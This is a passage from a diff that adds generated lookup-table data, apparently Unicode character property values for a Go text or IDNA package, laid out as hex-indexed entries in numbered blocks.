+ 0x2ac0: 0x008c, 0x2ac1: 0x008c, 0x2ac2: 0x008c, 0x2ac3: 0x008c, 0x2ac4: 0x008c, 0x2ac5: 0x008c, + 0x2ac6: 0x008c, 0x2ac7: 0x008c, 0x2ac8: 0x008c, 0x2ac9: 0x008c, 0x2aca: 0x008c, 0x2acb: 0x008c, + 0x2acc: 0x008c, 0x2acd: 0x008c, 0x2ace: 0x008c, 0x2acf: 0x008c, 0x2ad0: 0x008c, 0x2ad1: 0x008c, + 0x2ad2: 0x008c, 0x2ad3: 0x008c, 0x2ad4: 0x008c, 0x2ad5: 0x008c, 0x2ad6: 0x008c, 0x2ad7: 0x008c, + 0x2ad8: 0x008c, 0x2ad9: 0x008c, 0x2ada: 0x008c, 0x2adb: 0x008c, 0x2adc: 0x008c, 0x2add: 0x008c, + 0x2ade: 0x008c, 0x2adf: 0x008c, 0x2ae0: 0x008c, 0x2ae1: 0x008c, 0x2ae2: 0x008c, 0x2ae3: 0x008c, + 0x2ae4: 0x008c, 0x2ae5: 0x008c, 0x2ae6: 0x008c, 0x2ae7: 0x008c, 0x2ae8: 0x008c, 0x2ae9: 0x008c, + 0x2aea: 0x008c, 0x2aeb: 0x008c, 0x2aec: 0x008c, 0x2aed: 0x008c, + 0x2af0: 0x008c, 0x2af1: 0x008c, 0x2af2: 0x008c, 0x2af3: 0x008c, 0x2af4: 0x008c, 0x2af5: 0x008c, + 0x2af6: 0x008c, 0x2af7: 0x008c, 0x2af8: 0x008c, 0x2af9: 0x008c, 0x2afa: 0x008c, 0x2afb: 0x008c, + 0x2afc: 0x008c, 0x2afd: 0x008c, 0x2afe: 0x008c, 0x2aff: 0x008c, + // Block 0xac, offset 0x2b00 + 0x2b00: 0x008c, 0x2b01: 0x008c, 0x2b02: 0x008c, 0x2b03: 0x008c, 0x2b04: 0x008c, 0x2b05: 0x008c, + 0x2b06: 0x008c, 0x2b07: 0x008c, 0x2b08: 0x008c, 0x2b09: 0x008c, 0x2b0a: 0x008c, 0x2b0b: 0x008c, + 0x2b0c: 0x008c, 0x2b0d: 0x008c, 0x2b0e: 0x008c, 0x2b0f: 0x008c, 0x2b10: 0x008c, 0x2b11: 0x008c, + 0x2b12: 0x008c, 0x2b13: 0x008c, 0x2b14: 0x008c, 0x2b15: 0x008c, 0x2b16: 0x008c, 0x2b17: 0x008c, + 0x2b18: 0x008c, 0x2b19: 0x008c, + // Block 0xad, offset 0x2b40 + 0x2b40: 0x0080, 0x2b41: 0x0080, 0x2b42: 0x0080, 0x2b43: 0x0080, 0x2b44: 0x0080, 0x2b45: 0x0080, + 0x2b46: 0x0080, + 0x2b53: 0x0080, 0x2b54: 0x0080, 0x2b55: 0x0080, 0x2b56: 0x0080, 0x2b57: 0x0080, + 0x2b5d: 0x008a, + 0x2b5e: 0x00cb, 0x2b5f: 0x008a, 0x2b60: 0x008a, 0x2b61: 0x008a, 0x2b62: 0x008a, 0x2b63: 0x008a, + 0x2b64: 0x008a, 0x2b65: 0x008a, 0x2b66: 0x008a, 0x2b67: 0x008a, 0x2b68: 0x008a, 0x2b69: 0x008a, + 0x2b6a: 0x008a, 0x2b6b: 0x008a, 0x2b6c: 0x008a, 0x2b6d: 0x008a, 0x2b6e: 0x008a, 0x2b6f: 0x008a, + 0x2b70: 0x008a, 0x2b71: 0x008a, 0x2b72: 0x008a, 0x2b73: 0x008a, 0x2b74: 0x008a, 0x2b75: 0x008a, + 0x2b76: 0x008a, 0x2b78: 0x008a, 0x2b79: 0x008a, 0x2b7a: 0x008a, 0x2b7b: 0x008a, + 0x2b7c: 0x008a, 0x2b7e: 0x008a, + // Block 0xae, offset 0x2b80 + 0x2b80: 0x008a, 0x2b81: 0x008a, 0x2b83: 0x008a, 0x2b84: 0x008a, + 0x2b86: 0x008a, 0x2b87: 0x008a, 0x2b88: 0x008a, 0x2b89: 0x008a, 0x2b8a: 0x008a, 0x2b8b: 0x008a, + 0x2b8c: 0x008a, 0x2b8d: 0x008a, 0x2b8e: 0x008a, 0x2b8f: 0x008a, 0x2b90: 0x0080, 0x2b91: 0x0080, + 0x2b92: 0x0080, 0x2b93: 0x0080, 0x2b94: 0x0080, 0x2b95: 0x0080, 0x2b96: 0x0080, 0x2b97: 0x0080, + 0x2b98: 0x0080, 0x2b99: 0x0080, 0x2b9a: 0x0080, 0x2b9b: 0x0080, 0x2b9c: 0x0080, 0x2b9d: 0x0080, + 0x2b9e: 0x0080, 0x2b9f: 0x0080, 0x2ba0: 0x0080, 0x2ba1: 0x0080, 0x2ba2: 0x0080, 0x2ba3: 0x0080, + 0x2ba4: 0x0080, 0x2ba5: 0x0080, 0x2ba6: 0x0080, 0x2ba7: 0x0080, 0x2ba8: 0x0080, 0x2ba9: 0x0080, + 0x2baa: 0x0080, 0x2bab: 0x0080, 0x2bac: 0x0080, 0x2bad: 0x0080, 0x2bae: 0x0080, 0x2baf: 0x0080, + 0x2bb0: 0x0080, 0x2bb1: 0x0080, 0x2bb2: 0x0080, 0x2bb3: 0x0080, 0x2bb4: 0x0080, 0x2bb5: 0x0080, + 0x2bb6: 0x0080, 0x2bb7: 0x0080, 0x2bb8: 0x0080, 0x2bb9: 0x0080, 0x2bba: 0x0080, 0x2bbb: 0x0080, + 0x2bbc: 0x0080, 0x2bbd: 0x0080, 0x2bbe: 0x0080, 0x2bbf: 0x0080, + // Block 0xaf, offset 0x2bc0 + 0x2bc0: 0x0080, 0x2bc1: 0x0080, 0x2bc2: 0x0080, + 0x2bd3: 0x0080, 0x2bd4: 0x0080, 0x2bd5: 0x0080, 0x2bd6: 0x0080, 0x2bd7: 0x0080, + 0x2bd8: 0x0080, 0x2bd9: 0x0080, 0x2bda: 0x0080, 0x2bdb: 0x0080, 0x2bdc: 0x0080, 0x2bdd: 0x0080, + 0x2bde: 0x0080, 0x2bdf: 0x0080, 0x2be0: 0x0080, 0x2be1: 0x0080, 0x2be2: 0x0080, 0x2be3: 0x0080, + 0x2be4: 0x0080, 0x2be5: 0x0080, 0x2be6: 0x0080, 0x2be7: 0x0080, 0x2be8: 0x0080, 0x2be9: 0x0080, + 0x2bea: 0x0080, 0x2beb: 0x0080, 0x2bec: 0x0080, 0x2bed: 0x0080, 0x2bee: 0x0080, 0x2bef: 0x0080, + 0x2bf0: 0x0080, 0x2bf1: 0x0080, 0x2bf2: 0x0080, 0x2bf3: 0x0080, 0x2bf4: 0x0080, 0x2bf5: 0x0080, + 0x2bf6: 0x0080, 0x2bf7: 0x0080, 0x2bf8: 0x0080, 0x2bf9: 0x0080, 0x2bfa: 0x0080, 0x2bfb: 0x0080, + 0x2bfc: 0x0080, 0x2bfd: 0x0080, 0x2bfe: 0x0080, 0x2bff: 0x0080, + // Block 0xb0, offset 0x2c00 + 0x2c00: 0x0080, 0x2c01: 0x0080, 0x2c02: 0x0080, 0x2c03: 0x0080, 0x2c04: 0x0080, 0x2c05: 0x0080, + 0x2c06: 0x0080, 0x2c07: 0x0080, 0x2c08: 0x0080, 0x2c09: 0x0080, 0x2c0a: 0x0080, 0x2c0b: 0x0080, + 0x2c0c: 0x0080, 0x2c0d: 0x0080, 0x2c0e: 0x0080, 0x2c0f: 0x0080, + 0x2c12: 0x0080, 0x2c13: 0x0080, 0x2c14: 0x0080, 0x2c15: 0x0080, 0x2c16: 0x0080, 0x2c17: 0x0080, + 0x2c18: 0x0080, 0x2c19: 0x0080, 0x2c1a: 0x0080, 0x2c1b: 0x0080, 0x2c1c: 0x0080, 0x2c1d: 0x0080, + 0x2c1e: 0x0080, 0x2c1f: 0x0080, 0x2c20: 0x0080, 0x2c21: 0x0080, 0x2c22: 0x0080, 0x2c23: 0x0080, + 0x2c24: 0x0080, 0x2c25: 0x0080, 0x2c26: 0x0080, 0x2c27: 0x0080, 0x2c28: 0x0080, 0x2c29: 0x0080, + 0x2c2a: 0x0080, 0x2c2b: 0x0080, 0x2c2c: 0x0080, 0x2c2d: 0x0080, 0x2c2e: 0x0080, 0x2c2f: 0x0080, + 0x2c30: 0x0080, 0x2c31: 0x0080, 0x2c32: 0x0080, 0x2c33: 0x0080, 0x2c34: 0x0080, 0x2c35: 0x0080, + 0x2c36: 0x0080, 0x2c37: 0x0080, 0x2c38: 0x0080, 0x2c39: 0x0080, 0x2c3a: 0x0080, 0x2c3b: 0x0080, + 0x2c3c: 0x0080, 0x2c3d: 0x0080, 0x2c3e: 0x0080, 0x2c3f: 0x0080, + // Block 0xb1, offset 0x2c40 + 0x2c40: 0x0080, 0x2c41: 0x0080, 0x2c42: 0x0080, 0x2c43: 0x0080, 0x2c44: 0x0080, 0x2c45: 0x0080, + 0x2c46: 0x0080, 0x2c47: 0x0080, + 0x2c4f: 0x0080, + 0x2c70: 0x0080, 0x2c71: 0x0080, 0x2c72: 0x0080, 0x2c73: 0x0080, 0x2c74: 0x0080, 0x2c75: 0x0080, + 0x2c76: 0x0080, 0x2c77: 0x0080, 0x2c78: 0x0080, 0x2c79: 0x0080, 0x2c7a: 0x0080, 0x2c7b: 0x0080, + 0x2c7c: 0x0080, 0x2c7d: 0x0080, 0x2c7e: 0x0080, 0x2c7f: 0x0080, + // Block 0xb2, offset 0x2c80 + 0x2c80: 0x0040, 0x2c81: 0x0040, 0x2c82: 0x0040, 0x2c83: 0x0040, 0x2c84: 0x0040, 0x2c85: 0x0040, + 0x2c86: 0x0040, 0x2c87: 0x0040, 0x2c88: 0x0040, 0x2c89: 0x0040, 0x2c8a: 0x0040, 0x2c8b: 0x0040, + 0x2c8c: 0x0040, 0x2c8d: 0x0040, 0x2c8e: 0x0040, 0x2c8f: 0x0040, 0x2c90: 0x0080, 0x2c91: 0x0080, + 0x2c92: 0x0080, 0x2c93: 0x0080, 0x2c94: 0x0080, 0x2c95: 0x0080, 0x2c96: 0x0080, 0x2c97: 0x0080, + 0x2c98: 0x0080, 0x2c99: 0x0080, + 0x2ca0: 0x00c3, 0x2ca1: 0x00c3, 0x2ca2: 0x00c3, 0x2ca3: 0x00c3, + 0x2ca4: 0x00c3, 0x2ca5: 0x00c3, 0x2ca6: 0x00c3, 0x2ca7: 0x00c3, 0x2ca8: 0x00c3, 0x2ca9: 0x00c3, + 0x2caa: 0x00c3, 0x2cab: 0x00c3, 0x2cac: 0x00c3, 0x2cad: 0x00c3, 0x2cae: 0x00c3, 0x2caf: 0x00c3, + 0x2cb0: 0x0080, 0x2cb1: 0x0080, 0x2cb2: 0x0080, 0x2cb3: 0x0080, 0x2cb4: 0x0080, 0x2cb5: 0x0080, + 0x2cb6: 0x0080, 0x2cb7: 0x0080, 0x2cb8: 0x0080, 0x2cb9: 0x0080, 0x2cba: 0x0080, 0x2cbb: 0x0080, + 0x2cbc: 0x0080, 0x2cbd: 0x0080, 0x2cbe: 0x0080, 0x2cbf: 0x0080, + // Block 0xb3, offset 0x2cc0 + 0x2cc0: 0x0080, 0x2cc1: 0x0080, 0x2cc2: 0x0080, 0x2cc3: 0x0080, 0x2cc4: 0x0080, 0x2cc5: 0x0080, + 0x2cc6: 0x0080, 0x2cc7: 0x0080, 0x2cc8: 0x0080, 0x2cc9: 0x0080, 0x2cca: 0x0080, 0x2ccb: 0x0080, + 0x2ccc: 0x0080, 0x2ccd: 0x0080, 0x2cce: 0x0080, 0x2ccf: 0x0080, 0x2cd0: 0x0080, 0x2cd1: 0x0080, + 0x2cd2: 0x0080, 0x2cd4: 0x0080, 0x2cd5: 0x0080, 0x2cd6: 0x0080, 0x2cd7: 0x0080, + 0x2cd8: 0x0080, 0x2cd9: 0x0080, 0x2cda: 0x0080, 0x2cdb: 0x0080, 0x2cdc: 0x0080, 0x2cdd: 0x0080, + 0x2cde: 0x0080, 0x2cdf: 0x0080, 0x2ce0: 0x0080, 0x2ce1: 0x0080, 0x2ce2: 0x0080, 0x2ce3: 0x0080, + 0x2ce4: 0x0080, 0x2ce5: 0x0080, 0x2ce6: 0x0080, 0x2ce8: 0x0080, 0x2ce9: 0x0080, + 0x2cea: 0x0080, 0x2ceb: 0x0080, + 0x2cf0: 0x0080, 0x2cf1: 0x0080, 0x2cf2: 0x0080, 0x2cf3: 0x00c0, 0x2cf4: 0x0080, + 0x2cf6: 0x0080, 0x2cf7: 0x0080, 0x2cf8: 0x0080, 0x2cf9: 0x0080, 0x2cfa: 0x0080, 0x2cfb: 0x0080, + 0x2cfc: 0x0080, 0x2cfd: 0x0080, 0x2cfe: 0x0080, 0x2cff: 0x0080, + // Block 0xb4, offset 0x2d00 + 0x2d00: 0x0080, 0x2d01: 0x0080, 0x2d02: 0x0080, 0x2d03: 0x0080, 0x2d04: 0x0080, 0x2d05: 0x0080, + 0x2d06: 0x0080, 0x2d07: 0x0080, 0x2d08: 0x0080, 0x2d09: 0x0080, 0x2d0a: 0x0080, 0x2d0b: 0x0080, + 0x2d0c: 0x0080, 0x2d0d: 0x0080, 0x2d0e: 0x0080, 0x2d0f: 0x0080, 0x2d10: 0x0080, 0x2d11: 0x0080, + 0x2d12: 0x0080, 0x2d13: 0x0080, 0x2d14: 0x0080, 0x2d15: 0x0080, 0x2d16: 0x0080, 0x2d17: 0x0080, + 0x2d18: 0x0080, 0x2d19: 0x0080, 0x2d1a: 0x0080, 0x2d1b: 0x0080, 0x2d1c: 0x0080, 0x2d1d: 0x0080, + 0x2d1e: 0x0080, 0x2d1f: 0x0080, 0x2d20: 0x0080, 0x2d21: 0x0080, 0x2d22: 0x0080, 0x2d23: 0x0080, + 0x2d24: 0x0080, 0x2d25: 0x0080, 0x2d26: 0x0080, 0x2d27: 0x0080, 0x2d28: 0x0080, 0x2d29: 0x0080, + 0x2d2a: 0x0080, 0x2d2b: 0x0080, 0x2d2c: 0x0080, 0x2d2d: 0x0080, 0x2d2e: 0x0080, 0x2d2f: 0x0080, + 0x2d30: 0x0080, 0x2d31: 0x0080, 0x2d32: 0x0080, 0x2d33: 0x0080, 0x2d34: 0x0080, 0x2d35: 0x0080, + 0x2d36: 0x0080, 0x2d37: 0x0080, 0x2d38: 0x0080, 0x2d39: 0x0080, 0x2d3a: 0x0080, 0x2d3b: 0x0080, + 0x2d3c: 0x0080, 0x2d3f: 0x0040, + // Block 0xb5, offset 0x2d40 + 0x2d41: 0x0080, 0x2d42: 0x0080, 0x2d43: 0x0080, 0x2d44: 0x0080, 0x2d45: 0x0080, + 0x2d46: 0x0080, 0x2d47: 0x0080, 0x2d48: 0x0080, 0x2d49: 0x0080, 0x2d4a: 0x0080, 0x2d4b: 0x0080, + 0x2d4c: 0x0080, 0x2d4d: 0x0080, 0x2d4e: 0x0080, 0x2d4f: 0x0080, 0x2d50: 0x0080, 0x2d51: 0x0080, + 0x2d52: 0x0080, 0x2d53: 0x0080, 0x2d54: 0x0080, 0x2d55: 0x0080, 0x2d56: 0x0080, 0x2d57: 0x0080, + 0x2d58: 0x0080, 0x2d59: 0x0080, 0x2d5a: 0x0080, 0x2d5b: 0x0080, 0x2d5c: 0x0080, 0x2d5d: 0x0080, + 0x2d5e: 0x0080, 0x2d5f: 0x0080, 0x2d60: 0x0080, 0x2d61: 0x0080, 0x2d62: 0x0080, 0x2d63: 0x0080, + 0x2d64: 0x0080, 0x2d65: 0x0080, 0x2d66: 0x0080, 0x2d67: 0x0080, 0x2d68: 0x0080, 0x2d69: 0x0080, + 0x2d6a: 0x0080, 0x2d6b: 0x0080, 0x2d6c: 0x0080, 0x2d6d: 0x0080, 0x2d6e: 0x0080, 0x2d6f: 0x0080, + 0x2d70: 0x0080, 0x2d71: 0x0080, 0x2d72: 0x0080, 0x2d73: 0x0080, 0x2d74: 0x0080, 0x2d75: 0x0080, + 0x2d76: 0x0080, 0x2d77: 0x0080, 0x2d78: 0x0080, 0x2d79: 0x0080, 0x2d7a: 0x0080, 0x2d7b: 0x0080, + 0x2d7c: 0x0080, 0x2d7d: 0x0080, 0x2d7e: 0x0080, 0x2d7f: 0x0080, + // Block 0xb6, offset 0x2d80 + 0x2d80: 0x0080, 0x2d81: 0x0080, 0x2d82: 0x0080, 0x2d83: 0x0080, 0x2d84: 0x0080, 0x2d85: 0x0080, + 0x2d86: 0x0080, 0x2d87: 0x0080, 0x2d88: 0x0080, 0x2d89: 0x0080, 0x2d8a: 0x0080, 0x2d8b: 0x0080, + 0x2d8c: 0x0080, 0x2d8d: 0x0080, 0x2d8e: 0x0080, 0x2d8f: 0x0080, 0x2d90: 0x0080, 0x2d91: 0x0080, + 0x2d92: 0x0080, 0x2d93: 0x0080, 0x2d94: 0x0080, 0x2d95: 0x0080, 0x2d96: 0x0080, 0x2d97: 0x0080, + 0x2d98: 0x0080, 0x2d99: 0x0080, 0x2d9a: 0x0080, 0x2d9b: 0x0080, 0x2d9c: 0x0080, 0x2d9d: 0x0080, + 0x2d9e: 0x0080, 0x2d9f: 0x0080, 0x2da0: 0x0080, 0x2da1: 0x0080, 0x2da2: 0x0080, 0x2da3: 0x0080, + 0x2da4: 0x0080, 0x2da5: 0x0080, 0x2da6: 0x008c, 0x2da7: 0x008c, 0x2da8: 0x008c, 0x2da9: 0x008c, + 0x2daa: 0x008c, 0x2dab: 0x008c, 0x2dac: 0x008c, 0x2dad: 0x008c, 0x2dae: 0x008c, 0x2daf: 0x008c, + 0x2db0: 0x0080, 0x2db1: 0x008c, 0x2db2: 0x008c, 0x2db3: 0x008c, 0x2db4: 0x008c, 0x2db5: 0x008c, + 0x2db6: 0x008c, 0x2db7: 0x008c, 0x2db8: 0x008c, 0x2db9: 0x008c, 0x2dba: 0x008c, 0x2dbb: 0x008c, + 0x2dbc: 0x008c, 0x2dbd: 0x008c, 0x2dbe: 0x008c, 0x2dbf: 0x008c, + // Block 0xb7, offset 0x2dc0 + 0x2dc0: 0x008c, 0x2dc1: 0x008c, 0x2dc2: 0x008c, 0x2dc3: 0x008c, 0x2dc4: 0x008c, 0x2dc5: 0x008c, + 0x2dc6: 0x008c, 0x2dc7: 0x008c, 0x2dc8: 0x008c, 0x2dc9: 0x008c, 0x2dca: 0x008c, 0x2dcb: 0x008c, + 0x2dcc: 0x008c, 0x2dcd: 0x008c, 0x2dce: 0x008c, 0x2dcf: 0x008c, 0x2dd0: 0x008c, 0x2dd1: 0x008c, + 0x2dd2: 0x008c, 0x2dd3: 0x008c, 0x2dd4: 0x008c, 0x2dd5: 0x008c, 0x2dd6: 0x008c, 0x2dd7: 0x008c, + 0x2dd8: 0x008c, 0x2dd9: 0x008c, 0x2dda: 0x008c, 0x2ddb: 0x008c, 0x2ddc: 0x008c, 0x2ddd: 0x008c, + 0x2dde: 0x0080, 0x2ddf: 0x0080, 0x2de0: 0x0040, 0x2de1: 0x0080, 0x2de2: 0x0080, 0x2de3: 0x0080, + 0x2de4: 0x0080, 0x2de5: 0x0080, 0x2de6: 0x0080, 0x2de7: 0x0080, 0x2de8: 0x0080, 0x2de9: 0x0080, + 0x2dea: 0x0080, 0x2deb: 0x0080, 0x2dec: 0x0080, 0x2ded: 0x0080, 0x2dee: 0x0080, 0x2def: 0x0080, + 0x2df0: 0x0080, 0x2df1: 0x0080, 0x2df2: 0x0080, 0x2df3: 0x0080, 0x2df4: 0x0080, 0x2df5: 0x0080, + 0x2df6: 0x0080, 0x2df7: 0x0080, 0x2df8: 0x0080, 0x2df9: 0x0080, 0x2dfa: 0x0080, 0x2dfb: 0x0080, + 0x2dfc: 0x0080, 0x2dfd: 0x0080, 0x2dfe: 0x0080, + // Block 0xb8, offset 0x2e00 + 0x2e02: 0x0080, 0x2e03: 0x0080, 0x2e04: 0x0080, 0x2e05: 0x0080, + 0x2e06: 0x0080, 0x2e07: 0x0080, 0x2e0a: 0x0080, 0x2e0b: 0x0080, + 0x2e0c: 0x0080, 0x2e0d: 0x0080, 0x2e0e: 0x0080, 0x2e0f: 0x0080, + 0x2e12: 0x0080, 0x2e13: 0x0080, 0x2e14: 0x0080, 0x2e15: 0x0080, 0x2e16: 0x0080, 0x2e17: 0x0080, + 0x2e1a: 0x0080, 0x2e1b: 0x0080, 0x2e1c: 0x0080, + 0x2e20: 0x0080, 0x2e21: 0x0080, 0x2e22: 0x0080, 0x2e23: 0x0080, + 0x2e24: 0x0080, 0x2e25: 0x0080, 0x2e26: 0x0080, 0x2e28: 0x0080, 0x2e29: 0x0080, + 0x2e2a: 0x0080, 0x2e2b: 0x0080, 0x2e2c: 0x0080, 0x2e2d: 0x0080, 0x2e2e: 0x0080, + 0x2e39: 0x0040, 0x2e3a: 0x0040, 0x2e3b: 0x0040, + 0x2e3c: 0x0080, 0x2e3d: 0x0080, + // Block 0xb9, offset 0x2e40 + 0x2e40: 0x00c0, 0x2e41: 0x00c0, 0x2e42: 0x00c0, 0x2e43: 0x00c0, 0x2e44: 0x00c0, 0x2e45: 0x00c0, + 0x2e46: 0x00c0, 0x2e47: 0x00c0, 0x2e48: 0x00c0, 0x2e49: 0x00c0, 0x2e4a: 0x00c0, 0x2e4b: 0x00c0, + 0x2e4d: 0x00c0, 0x2e4e: 0x00c0, 0x2e4f: 0x00c0, 0x2e50: 0x00c0, 0x2e51: 0x00c0, + 0x2e52: 0x00c0, 0x2e53: 0x00c0, 0x2e54: 0x00c0, 0x2e55: 0x00c0, 0x2e56: 0x00c0, 0x2e57: 0x00c0, + 0x2e58: 0x00c0, 0x2e59: 0x00c0, 0x2e5a: 0x00c0, 0x2e5b: 0x00c0, 0x2e5c: 0x00c0, 0x2e5d: 0x00c0, + 0x2e5e: 0x00c0, 0x2e5f: 0x00c0, 0x2e60: 0x00c0, 0x2e61: 0x00c0, 0x2e62: 0x00c0, 0x2e63: 0x00c0, + 0x2e64: 0x00c0, 0x2e65: 0x00c0, 0x2e66: 0x00c0, 0x2e68: 0x00c0, 0x2e69: 0x00c0, + 0x2e6a: 0x00c0, 0x2e6b: 0x00c0, 0x2e6c: 0x00c0, 0x2e6d: 0x00c0, 0x2e6e: 0x00c0, 0x2e6f: 0x00c0, + 0x2e70: 0x00c0, 0x2e71: 0x00c0, 0x2e72: 0x00c0, 0x2e73: 0x00c0, 0x2e74: 0x00c0, 0x2e75: 0x00c0, + 0x2e76: 0x00c0, 0x2e77: 0x00c0, 0x2e78: 0x00c0, 0x2e79: 0x00c0, 0x2e7a: 0x00c0, + 0x2e7c: 0x00c0, 0x2e7d: 0x00c0, 0x2e7f: 0x00c0, + // Block 0xba, offset 0x2e80 + 0x2e80: 0x00c0, 0x2e81: 0x00c0, 0x2e82: 0x00c0, 0x2e83: 0x00c0, 0x2e84: 0x00c0, 0x2e85: 0x00c0, + 0x2e86: 0x00c0, 0x2e87: 0x00c0, 0x2e88: 0x00c0, 0x2e89: 0x00c0, 0x2e8a: 0x00c0, 0x2e8b: 0x00c0, + 0x2e8c: 0x00c0, 0x2e8d: 0x00c0, 0x2e90: 0x00c0, 0x2e91: 0x00c0, + 0x2e92: 0x00c0, 0x2e93: 0x00c0, 0x2e94: 0x00c0, 0x2e95: 0x00c0, 0x2e96: 0x00c0, 0x2e97: 0x00c0, + 0x2e98: 0x00c0, 0x2e99: 0x00c0, 0x2e9a: 0x00c0, 0x2e9b: 0x00c0, 0x2e9c: 0x00c0, 0x2e9d: 0x00c0, + // Block 0xbb, offset 0x2ec0 + 0x2ec0: 0x00c0, 0x2ec1: 0x00c0, 0x2ec2: 0x00c0, 0x2ec3: 0x00c0, 0x2ec4: 0x00c0, 0x2ec5: 0x00c0, + 0x2ec6: 0x00c0, 0x2ec7: 0x00c0, 0x2ec8: 0x00c0, 0x2ec9: 0x00c0, 0x2eca: 0x00c0, 0x2ecb: 0x00c0, + 0x2ecc: 0x00c0, 0x2ecd: 0x00c0, 0x2ece: 0x00c0, 0x2ecf: 0x00c0, 0x2ed0: 0x00c0, 0x2ed1: 0x00c0, + 0x2ed2: 0x00c0, 0x2ed3: 0x00c0, 0x2ed4: 0x00c0, 0x2ed5: 0x00c0, 0x2ed6: 0x00c0, 0x2ed7: 0x00c0, + 0x2ed8: 0x00c0, 0x2ed9: 0x00c0, 0x2eda: 0x00c0, 0x2edb: 0x00c0, 0x2edc: 0x00c0, 0x2edd: 0x00c0, + 0x2ede: 0x00c0, 0x2edf: 0x00c0, 0x2ee0: 0x00c0, 0x2ee1: 0x00c0, 0x2ee2: 0x00c0, 0x2ee3: 0x00c0, + 0x2ee4: 0x00c0, 0x2ee5: 0x00c0, 0x2ee6: 0x00c0, 0x2ee7: 0x00c0, 0x2ee8: 0x00c0, 0x2ee9: 0x00c0, + 0x2eea: 0x00c0, 0x2eeb: 0x00c0, 0x2eec: 0x00c0, 0x2eed: 0x00c0, 0x2eee: 0x00c0, 0x2eef: 0x00c0, + 0x2ef0: 0x00c0, 0x2ef1: 0x00c0, 0x2ef2: 0x00c0, 0x2ef3: 0x00c0, 0x2ef4: 0x00c0, 0x2ef5: 0x00c0, + 0x2ef6: 0x00c0, 0x2ef7: 0x00c0, 0x2ef8: 0x00c0, 0x2ef9: 0x00c0, 0x2efa: 0x00c0, + // Block 0xbc, offset 0x2f00 + 0x2f00: 0x0080, 0x2f01: 0x0080, 0x2f02: 0x0080, + 0x2f07: 0x0080, 0x2f08: 0x0080, 0x2f09: 0x0080, 0x2f0a: 0x0080, 0x2f0b: 0x0080, + 0x2f0c: 0x0080, 0x2f0d: 0x0080, 0x2f0e: 0x0080, 0x2f0f: 0x0080, 0x2f10: 0x0080, 0x2f11: 0x0080, + 0x2f12: 0x0080, 0x2f13: 0x0080, 0x2f14: 0x0080, 0x2f15: 0x0080, 0x2f16: 0x0080, 0x2f17: 0x0080, + 0x2f18: 0x0080, 0x2f19: 0x0080, 0x2f1a: 0x0080, 0x2f1b: 0x0080, 0x2f1c: 0x0080, 0x2f1d: 0x0080, + 0x2f1e: 0x0080, 0x2f1f: 0x0080, 0x2f20: 0x0080, 0x2f21: 0x0080, 0x2f22: 0x0080, 0x2f23: 0x0080, + 0x2f24: 0x0080, 0x2f25: 0x0080, 0x2f26: 0x0080, 0x2f27: 0x0080, 0x2f28: 0x0080, 0x2f29: 0x0080, + 0x2f2a: 0x0080, 0x2f2b: 0x0080, 0x2f2c: 0x0080, 0x2f2d: 0x0080, 0x2f2e: 0x0080, 0x2f2f: 0x0080, + 0x2f30: 0x0080, 0x2f31: 0x0080, 0x2f32: 0x0080, 0x2f33: 0x0080, + 0x2f37: 0x0080, 0x2f38: 0x0080, 0x2f39: 0x0080, 0x2f3a: 0x0080, 0x2f3b: 0x0080, + 0x2f3c: 0x0080, 0x2f3d: 0x0080, 0x2f3e: 0x0080, 0x2f3f: 0x0080, + // Block 0xbd, offset 0x2f40 + 0x2f40: 0x0088, 0x2f41: 0x0088, 0x2f42: 0x0088, 0x2f43: 0x0088, 0x2f44: 0x0088, 0x2f45: 0x0088, + 0x2f46: 0x0088, 0x2f47: 0x0088, 0x2f48: 0x0088, 0x2f49: 0x0088, 0x2f4a: 0x0088, 0x2f4b: 0x0088, + 0x2f4c: 0x0088, 0x2f4d: 0x0088, 0x2f4e: 0x0088, 0x2f4f: 0x0088, 0x2f50: 0x0088, 0x2f51: 0x0088, + 0x2f52: 0x0088, 0x2f53: 0x0088, 0x2f54: 0x0088, 0x2f55: 0x0088, 0x2f56: 0x0088, 0x2f57: 0x0088, + 0x2f58: 0x0088, 0x2f59: 0x0088, 0x2f5a: 0x0088, 0x2f5b: 0x0088, 0x2f5c: 0x0088, 0x2f5d: 0x0088, + 0x2f5e: 0x0088, 0x2f5f: 0x0088, 0x2f60: 0x0088, 0x2f61: 0x0088, 0x2f62: 0x0088, 0x2f63: 0x0088, + 0x2f64: 0x0088, 0x2f65: 0x0088, 0x2f66: 0x0088, 0x2f67: 0x0088, 0x2f68: 0x0088, 0x2f69: 0x0088, + 0x2f6a: 0x0088, 0x2f6b: 0x0088, 0x2f6c: 0x0088, 0x2f6d: 0x0088, 0x2f6e: 0x0088, 0x2f6f: 0x0088, + 0x2f70: 0x0088, 0x2f71: 0x0088, 0x2f72: 0x0088, 0x2f73: 0x0088, 0x2f74: 0x0088, 0x2f75: 0x0088, + 0x2f76: 0x0088, 0x2f77: 0x0088, 0x2f78: 0x0088, 0x2f79: 0x0088, 0x2f7a: 0x0088, 0x2f7b: 0x0088, + 0x2f7c: 0x0088, 0x2f7d: 0x0088, 0x2f7e: 0x0088, 0x2f7f: 0x0088, + // Block 0xbe, offset 0x2f80 + 0x2f80: 0x0088, 0x2f81: 0x0088, 0x2f82: 0x0088, 0x2f83: 0x0088, 0x2f84: 0x0088, 0x2f85: 0x0088, + 0x2f86: 0x0088, 0x2f87: 0x0088, 0x2f88: 0x0088, 0x2f89: 0x0088, 0x2f8a: 0x0088, 0x2f8b: 0x0088, + 0x2f8c: 0x0088, 0x2f8d: 0x0088, 0x2f8e: 0x0088, 0x2f90: 0x0080, 0x2f91: 0x0080, + 0x2f92: 0x0080, 0x2f93: 0x0080, 0x2f94: 0x0080, 0x2f95: 0x0080, 0x2f96: 0x0080, 0x2f97: 0x0080, + 0x2f98: 0x0080, 0x2f99: 0x0080, 0x2f9a: 0x0080, 0x2f9b: 0x0080, 0x2f9c: 0x0080, + 0x2fa0: 0x0088, + // Block 0xbf, offset 0x2fc0 + 0x2fd0: 0x0080, 0x2fd1: 0x0080, + 0x2fd2: 0x0080, 0x2fd3: 0x0080, 0x2fd4: 0x0080, 0x2fd5: 0x0080, 0x2fd6: 0x0080, 0x2fd7: 0x0080, + 0x2fd8: 0x0080, 0x2fd9: 0x0080, 0x2fda: 0x0080, 0x2fdb: 0x0080, 0x2fdc: 0x0080, 0x2fdd: 0x0080, + 0x2fde: 0x0080, 0x2fdf: 0x0080, 0x2fe0: 0x0080, 0x2fe1: 0x0080, 0x2fe2: 0x0080, 0x2fe3: 0x0080, + 0x2fe4: 0x0080, 0x2fe5: 0x0080, 0x2fe6: 0x0080, 0x2fe7: 0x0080, 0x2fe8: 0x0080, 